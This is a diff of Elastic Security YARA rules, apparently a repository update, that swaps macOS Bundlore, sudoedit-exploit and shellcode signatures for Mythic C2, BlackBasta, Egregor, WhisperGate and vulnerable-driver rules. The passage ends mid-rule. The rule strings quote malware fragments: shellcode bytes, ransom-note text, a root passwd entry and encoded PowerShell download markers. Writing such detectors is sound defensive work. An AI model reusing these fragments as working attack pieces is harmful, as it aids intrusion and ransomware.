+rule ELASTIC_Multi_Trojan_Mythic_4Beb7E17 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Multi Trojan Mythic (Multi.Trojan.Mythic)"
 		author = "Elastic Security"
-		id = "00d9d0e9-28d8-4c32-bc6f-52008ee69b07"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "4beb7e17-34c2-4f5c-a668-e54512175f53"
+		date = "2023-08-01"
+		modified = "2023-09-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "73069b34e513ff1b742b03fed427dc947c22681f30cf46288a08ca545fc7d7dd"
-		logic_hash = "535831872408caa27984190d1b1b1a5954e502265925d50457e934219598dbfd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_Mythic.yar#L1-L28"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7b3b7bae1763f3c73df206f97065920fa55b973d22c967acb3d26ac8e89e60c7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7dcc6b124d631767c259101f36b4bbd6b9d27b2da474d90e31447ea03a2711a6"
+		fingerprint = "0b25c5b069cec31e9af31b7822ea19b813fe1882dfaa584661ff14414ae41df5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "multi"
 
 	strings:
-		$a = { 35 8E 11 00 00 55 80 35 88 11 00 00 BC 80 35 82 11 00 00 72 80 35 7C 11 00 00 }
+		$a1 = "task_id"
+		$a2 = "post_response"
+		$a3 = "c2_profile"
+		$a4 = "get_tasking"
+		$a5 = "tasking_size"
+		$a6 = "get_delegate_tasks"
+		$a7 = "total_chunks"
+		$a8 = "is_screenshot"
+		$a9 = "file_browser"
+		$a10 = "is_file"
+		$a11 = "access_time"
 
 	condition:
-		all of them
+		7 of them
 }
-rule ELASTIC_Macos_Trojan_Bundlore_650B8Ff4 : FILE MEMORY
+rule ELASTIC_Multi_Trojan_Mythic_E0Ea7Ef9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Multi Trojan Mythic (Multi.Trojan.Mythic)"
 		author = "Elastic Security"
-		id = "650b8ff4-6cc8-4bfc-ba01-ac9c86410ecc"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "e0ea7ef9-452c-404c-95ba-4057ec40ef4b"
+		date = "2024-05-23"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "78fd2c4afd7e810d93d91811888172c4788a0a2af0b88008573ce8b6b819ae5a"
-		logic_hash = "e8a706db010e9c3d9714d5e7a376e9b2189af382a7b01db9a9e7ee947e9637bb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_Mythic.yar#L30-L61"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e091d63c8e8b0a32a3d25cffdf02419fdbec714f31e4061bafd80b1971831c5f"
+		logic_hash = "237307d85fe7886eb2cf351a9f7872e3e5551f05535f0b6a966a960d204aee90"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4f4691f6830684a71e7b3ab322bf6ec4638bf0035adf3177dbd0f02e54b3fd80"
+		fingerprint = "57afe989db139314a7505a2ccc01367cdd13132318dc19b57d4b79f65bfe982c"
 		severity = 100
-		arch_context = "x86"
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "multi"
 
 	strings:
-		$a = { 35 8B 11 00 00 60 80 35 85 11 00 00 12 80 35 7F 11 00 00 8C 80 35 79 11 00 00 }
+		$profile1 = "src/profiles/mod.rs"
+		$profile2 = "src/profiles/http.rs"
+		$rs_ssh1 = "src/ssh/spawn.rs"
+		$rs_ssh2 = "src/ssh/agent.rs"
+		$rs_ssh3 = "src/ssh/cat.rs"
+		$rs_ssh4 = "src/ssh/upload.rs"
+		$rs_ssh5 = "src/ssh/exec.rs"
+		$rs_ssh6 = "src/ssh/download.rs"
+		$rs_ssh7 = "src/ssh/rm.rs"
+		$rs_ssh8 = "src/ssh/ls.rs"
+		$rs_misc1 = "src/utils/linux.rs"
+		$rs_misc2 = "src/portscan.rs"
+		$rs_misc3 = "src/payloadvars.rs"
+		$rs_misc4 = "src/getprivs.rs"
 
 	condition:
-		all of them
+		all of ($profile*) and 8 of ($rs*)
 }
-rule ELASTIC_Macos_Trojan_Bundlore_C8Ad7Edd : FILE MEMORY
+rule ELASTIC_Multi_Trojan_Mythic_528324B4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Multi Trojan Mythic (Multi.Trojan.Mythic)"
 		author = "Elastic Security"
-		id = "c8ad7edd-4233-44ce-a4e5-96dfc3504f8a"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "528324b4-822d-4e48-b4ab-f5b234348773"
+		date = "2024-05-23"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d4915473e1096a82afdaee405189a0d0ae961bd11a9e5e9adc420dd64cb48c24"
-		logic_hash = "be09b4bd612bb499044fe91ca4e1ab62405cf1e4d75b8e1da90e326d1c66e04f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_Mythic.yar#L63-L89"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2cd883eab722a5eacbca7fa82e0eebb5f6c30cffa955abcb1ab8cf169af97202"
+		logic_hash = "8c85d086b30030a24fba9f519aed3fdf3c821932d71ceaecfe354fe07cd1d631"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c6a8a1d9951863d4277d297dd6ff8ad7b758ca2dfe16740265456bb7bb0fd7d0"
+		fingerprint = "5188aa792c02acf7a6346f395389390ae187cb08083bfca27283a4f4dd4d7206"
 		severity = 100
-		arch_context = "x86"
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "multi"
 
 	strings:
-		$a = { 35 74 11 00 00 D5 80 35 6E 11 00 00 57 80 35 68 11 00 00 4C 80 35 62 11 00 00 }
+		$import1 = "Autofac"
+		$import2 = "Obfuscar"
+		$import3 = "Agent.Profiles.Http"
+		$import4 = "Agent.Managers.Linux"
+		$import5 = "Agent.Managers.Reflection"
+		$athena1 = "Athena.Commands.dll"
+		$athena2 = "Athena.Handler.Linux.dll"
+		$athena3 = "Athena.dll"
+		$athena4 = "Athena.Profiles.HTTP.dll"
 
 	condition:
-		all of them
+		(2 of ($import*)) or (2 of ($athena*))
 }
-rule ELASTIC_Macos_Trojan_Bundlore_Cb7344Eb : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Blackbasta_96Eb3F20 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Linux Ransomware Blackbasta (Linux.Ransomware.BlackBasta)"
 		author = "Elastic Security"
-		id = "cb7344eb-51e6-4f17-a5d4-eea98938945b"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "96eb3f20-9c40-4d40-8a6c-568a51c52d4d"
+		date = "2022-08-06"
+		modified = "2022-08-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L161-L179"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "53373668d8c5dc17f58768bf59fb5ab6d261a62d0950037f0605f289102e3e56"
-		logic_hash = "6b5e868dfd14e9b1cdf3caeb1216764361b28c1dd38849526baf5dbdb1020d8d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_BlackBasta.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "96339a7e87ffce6ced247feb9b4cb7c05b83ca315976a9522155bad726b8e5be"
+		logic_hash = "a5e0b60ba51490f70af53c9fba91e3349c712bebb10574eb4bed028ab961ae74"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6041c50c9eefe9cafb8768141cd7692540f6af2cdd6e0a763b7d7e50b8586999"
+		fingerprint = "5146ad9def7ccaba4b4896f345b0950c587ad5f96a106ec461caeb028d809ead"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 35 ED 09 00 00 92 80 35 E7 09 00 00 93 80 35 E1 09 00 00 16 80 35 DB 09 00 00 }
+		$a1 = "Done time: %.4f seconds, encrypted: %.4f gb" ascii fullword
+		$a2 = "Your data are stolen and encrypted" ascii fullword
+		$a3 = "fileEncryptionPercent" ascii fullword
+		$a4 = "fileQueueLocker" ascii fullword
+		$a5 = "totalBytesEncrypted" ascii fullword
+		$seq_encrypt_block = { 41 56 31 D2 41 55 41 54 49 89 FE 55 53 48 89 F5 49 63 D8 4C }
+		$seq_encrypt_thread = { 4C 8B 74 24 ?? 31 DB 45 31 FF 4D 8B 6E ?? 49 83 FD ?? 0F 87 ?? ?? ?? ?? 31 C0 4D 39 EF 0F 82 ?? ?? ?? ?? 48 01 C3 4C 39 EB 0F 83 ?? ?? ?? ?? }
 
 	condition:
-		all of them
+		3 of ($a*) and 1 of ($seq*)
 }
-rule ELASTIC_Macos_Trojan_Bundlore_753E5738 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Glckio_39C4Abd4 : FILE
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Windows Vulndriver Glckio (Windows.VulnDriver.GlckIo)"
 		author = "Elastic Security"
-		id = "753e5738-0c72-4178-9396-d1950e868104"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "39c4abd4-0c14-49e6-ab5c-edc260d28666"
+		date = "2022-04-04"
+		modified = "2022-08-30"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L181-L199"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "42aeea232b28724d1fa6e30b1aeb8f8b8c22e1bc8afd1bbb4f90e445e31bdfe9"
-		logic_hash = "7a6907b51c793e4182c1606eab6f2bcb71f0350a34aef93fa3f3a9f1a49961ba"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_GlckIo.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3a5ec83fe670e5e23aef3afa0a7241053f5b6be5e6ca01766d6b5f9177183c25"
+		logic_hash = "fd43503c9427a386674c06bb790e110ac23c27d8fc4adedbaa8a9b7cb0cbafd4"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "c0a41a8bc7fbf994d3f5a5d6c836db3596b1401b0e209a081354af2190fcb3c2"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "80971a85f52d52dd80f1887b5b4fc2e101886e60b78b08ca9bb8f781db9f9751"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { 35 9A 11 00 00 96 80 35 94 11 00 00 68 80 35 8E 11 00 00 38 80 35 88 11 00 00 }
+		$str1 = "\\GLCKIO2.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $str1
 }
-rule ELASTIC_Macos_Trojan_Bundlore_7B9F0C28 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Glckio_68D5Afbb : FILE
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Windows Vulndriver Glckio (Windows.VulnDriver.GlckIo)"
 		author = "Elastic Security"
-		id = "7b9f0c28-181d-4fdc-8a57-467d5105129a"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "68d5afbb-a90e-404a-8e77-4b0f9d72934c"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L201-L219"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc4da125fed359d3e1740dafaa06f4db1ffc91dbf22fd5e7993acf8597c4c283"
-		logic_hash = "32abbb76c866e3a555ee6a9c39f62a0712f641959b66068abfb4379baa9a9da9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_GlckIo.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5ae23f1fcf3fb735fcf1fa27f27e610d9945d668a149c7b7b0c84ffd6409d99a"
+		logic_hash = "0b5f0d408a5c4089ef496c5f8241a34d0468cc3d21e89e41dc105a0df0855d38"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "dde16fdd37a16fa4dae24324283cd4b36ed2eb78f486cedd1a6c7bef7cde7370"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "98b25bf15be40dcd9cedbce6d50551faa968ac0e8259c1df0181ecb36afc69dd"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { 35 B6 15 00 00 81 80 35 B0 15 00 00 14 80 35 AA 15 00 00 BC 80 35 A4 15 00 00 }
+		$str1 = "[GLKIO2] Cannot resolve ZwQueryInformationProcess"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $str1
 }
-rule ELASTIC_Linux_Exploit_CVE_2021_3156_F3Fb10Cd : FILE CVE_2021_3156
+rule ELASTIC_Linux_Exploit_Race_758A0884 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2021 3156 (Linux.Exploit.CVE-2021-3156)"
+		description = "Detects Linux Exploit Race (Linux.Exploit.Race)"
 		author = "Elastic Security"
-		id = "f3fb10cd-1d49-420f-8740-5c8990560943"
-		date = "2021-09-15"
-		modified = "2021-09-21"
+		id = "758a0884-0174-46c8-a57a-980fc04360d0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2021_3156.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "65fb8baa5ec3bfb4473e4b2f565b461dd59989d43c72b1c5ec2e1a68baa8b51a"
-		logic_hash = "cc80e0b2355877cd9ceecae19d4dcebb641d90a24c0751bf706134b31bf26750"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Race.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a4966baaa34b05cb782071ef114a53cac164e6dece275c862fe96a2cff4a6f06"
+		logic_hash = "ccba0e2ddefd53939cda6b4985def2d487ac5916cbad7374ac3143f02b9f7ff5"
 		score = 75
 		quality = 75
-		tags = "FILE, CVE-2021-3156"
-		fingerprint = "66aca7d13fb9c5495f17b7891e388db0a746d8827c8ae302a6cb8d86f7630bbb"
+		tags = "FILE, MEMORY"
+		fingerprint = "3516086ae773ec1c1de75a54bafbb72ad49b4c7f1661961d5613462b53f26c43"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = "/usr/bin/sudoedit" fullword
-		$a2 = "<smash_len_a>" fullword
+		$a = { 00 22 00 00 00 36 00 00 00 18 85 04 08 34 00 00 00 12 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2021_3156_7F5672D0 : FILE CVE_2021_3156
+rule ELASTIC_Windows_Ransomware_Egregor_F24023F3 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2021 3156 (Linux.Exploit.CVE-2021-3156)"
+		description = "Identifies EGREGOR (Sekhemt) ransomware"
 		author = "Elastic Security"
-		id = "7f5672d0-73f1-4143-b3e2-3aed110779e3"
-		date = "2021-09-15"
-		modified = "2021-09-21"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2021_3156.yar#L22-L45"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1a4517d2582ac97b88ae568c23e75beba93daf8518bd3971985d6a798049fd61"
-		logic_hash = "e25907f11a2f292441a96e19834ad89636593a3f8998ec0010e43830f5aa0c64"
+		id = "f24023f3-c887-42fc-8927-cdbd04b5f84f"
+		date = "2020-10-15"
+		modified = "2021-08-23"
+		reference = "https://www.bankinfosecurity.com/egregor-ransomware-adds-to-data-leak-trend-a-15110"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Egregor.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "5695b44f6ce018a91a99b6c94feae740ff4ac187e232bc9044e51d62d1f42bfa"
 		score = 75
 		quality = 75
-		tags = "FILE, CVE-2021-3156"
-		fingerprint = "71e90dd36342686bb4be7ef86e1ceb2e915c70f437f4733ddcc5175860ca4084"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "3a82a548658e0823678ec9d633774018ddc6588f5e2fbce74826a46ce9c43c40"
+		threat_name = "Windows.Ransomware.Egregor"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "/tmp/gogogo123456789012345678901234567890go" fullword
-		$a2 = "gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash" fullword
-		$sudo = "sudoedit" fullword
-		$msg1 = "succes with sleep time %d us" fullword
-		$msg2 = "[+] Success with %d attempts" fullword
-		$msg3 = "symlink 2nd time success at: %d" fullword
+		$a1 = "M:\\sc\\p\\testbuild.pdb" ascii fullword
+		$a2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" wide fullword
+		$a3 = "nIcG`]/h3kpJ0QEAC5OJC|<eT}}\\5K|h\\\\v<=lKfHKO~01=Lo0C03icERjo0J|/+|=P0<UeN|e2F@GpTe]|wpMP`AG+IFVCVbAErvTeBRgUN1vQHNp5FVtc1WVi/G"
+		$a4 = "pVrGRgJui@6ejnOu@4KgacOarSh|firCToW1LoF]7BtmQ@2j|hup2owUHQ6W}\\U3gwV6OwSPTMQVq2|G=GKrHpjOqk~`Ba<qu\\2]r0RKkf/HGngsK7LhtvtJiR}+4J"
+		$a5 = "Your network was ATTACKED, your computers and servers were LOCKED," ascii wide
+		$a6 = "Do not redact this special technical block, we need this to authorize you." ascii wide
 
 	condition:
-		( any of ($a*)) or ($sudo and 2 of ($msg*))
+		2 of ($a*)
 }
-rule ELASTIC_Linux_Shellcode_Generic_5669055F : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Egregor_4Ec2B90C : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		description = "Identifies EGREGOR (Sekhemt) ransomware"
 		author = "Elastic Security"
-		id = "5669055f-8ce7-4163-af06-cb265fde3eef"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Shellcode_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "87ef4def16d956cdfecaea899cbb55ff59a6739bbb438bf44a8b5fec7fcfd85b"
-		logic_hash = "735b8dc7fff3c9cc96646a4eb7c5afd70be19dcc821e9e26ce906681130746be"
+		id = "4ec2b90c-b2de-463d-a9c6-478c255c2352"
+		date = "2020-10-15"
+		modified = "2021-08-23"
+		reference = "https://www.bankinfosecurity.com/egregor-ransomware-adds-to-data-leak-trend-a-15110"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Egregor.yar#L27-L48"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8342d92e1486b1289645828e5ee5f1f6f21a0e645dd7cc4eca908ed59c2f1c4c"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "616fe440ff330a1d22cacbdc2592c99328ea028700447724d2d5b930554a22f4"
+		quality = 73
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "6ae13632f50af11626250c30f570370da23deb265ff6c1fefd2e294c8c170998"
+		threat_name = "Windows.Ransomware.Egregor"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 31 C0 31 DB 31 C9 B0 17 CD 80 31 C0 51 B1 06 }
+		$b1 = { 18 F5 46 E0 5C 94 28 B3 5C 94 28 B3 5C 94 28 B3 E8 08 D9 B3 55 94 28 B3 E8 08 DB B3 29 94 28 B3 E8 08 DA B3 44 94 28 B3 67 CA 2B B2 4D 94 28 B3 67 CA 2D B2 47 94 28 B3 67 CA 2C B2 4C 94 28 B3 81 6B E3 B3 5F 94 28 B3 5C 94 29 B3 02 94 28 B3 5C 94 28 B3 5F 94 28 B3 CE CA 28 B2 5D 94 28 B3 CE CA 2A B2 5D 94 28 B3 }
+		$b2 = { 34 4F 51 46 33 5C 45 6A 75 5E 7E 4E 37 53 49 7C 49 50 4B 32 73 43 47 5E 68 43 42 4E 7C 42 30 48 62 4C 34 6D 3C 2F 36 76 3D 43 5D 6B 4F 30 32 6E 60 35 68 40 33 60 4B 47 6F 33 55 36 71 56 4A 3D 40 5C 6A 69 4B 4A 60 5C 35 2B 6B 40 33 31 5C 63 7D 4A 47 42 51 5D 70 54 68 7D 62 32 4B 72 6A 57 3C 71 }
+		$b3 = { BB 05 10 D4 BB 05 10 E0 BB 05 10 EC BB 05 10 F8 BB 05 10 04 BC 05 10 10 BC 05 10 1C BC 05 10 2C BC 05 10 3C BC 05 10 50 BC 05 10 68 BC 05 10 80 BC 05 10 90 BC 05 10 A8 BC 05 10 B4 BC 05 10 C0 }
 
 	condition:
-		all of them
+		1 of ($b*)
 }
-rule ELASTIC_Linux_Shellcode_Generic_D2C96B1D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Whispergate_9192618B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		description = "Detects Windows Trojan Whispergate (Windows.Trojan.WhisperGate)"
 		author = "Elastic Security"
-		id = "d2c96b1d-f424-476c-9463-dd34a1da524e"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Shellcode_Generic.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "403d53a65bd77856f7c565307af5003b07413f2aba50869655cdd88ce15b0c82"
-		logic_hash = "33d964e22c8e3046f114e8264d18e8b4a0e7b55eca59151b084db7eea07aa0b1"
+		id = "9192618b-4f3e-4503-a97f-3c4420fb79e0"
+		date = "2022-01-17"
+		modified = "2022-01-17"
+		reference = "https://www.elastic.co/security-labs/operation-bleeding-bear"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_WhisperGate.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
+		logic_hash = "28bb08d61d99d2bfc49ba18cdbabc34c31a715ae6439ab25bbce8cc6958ed381"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ee042895d863310ff493fdd33721571edd322e764a735381d236b2c0a7077cfa"
+		fingerprint = "21f2a5b730a86567e68491a0d997fc52ba37f28b2164747240a74c225be3c661"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 E1 8D 54 24 04 5B B0 0B CD 80 31 C0 B0 01 31 }
+		$a1 = "https://cdn.discordapp.com/attachments/" wide
+		$a2 = "DxownxloxadDxatxxax" wide fullword
+		$a3 = "powershell" wide fullword
+		$a4 = "-enc UwB0AGEAcgB0AC" wide fullword
+		$a5 = "Ylfwdwgmpilzyaph" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Shellcode_Generic_30C70926 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Marut_47Af730D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		description = "Detects Linux Trojan Marut (Linux.Trojan.Marut)"
 		author = "Elastic Security"
-		id = "30c70926-9414-499a-a4db-7c3bb902dd82"
-		date = "2021-04-06"
+		id = "47af730d-1e03-4d27-9661-84fb12b593bd"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Shellcode_Generic.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a742e23f26726293b1bff3db72864471d6bb4062db1cc6e1c4241f51ec0e21b1"
-		logic_hash = "3594994a911e5428198c472a51de189a6be74895170581ec577c49f8dbb9167a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Marut.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
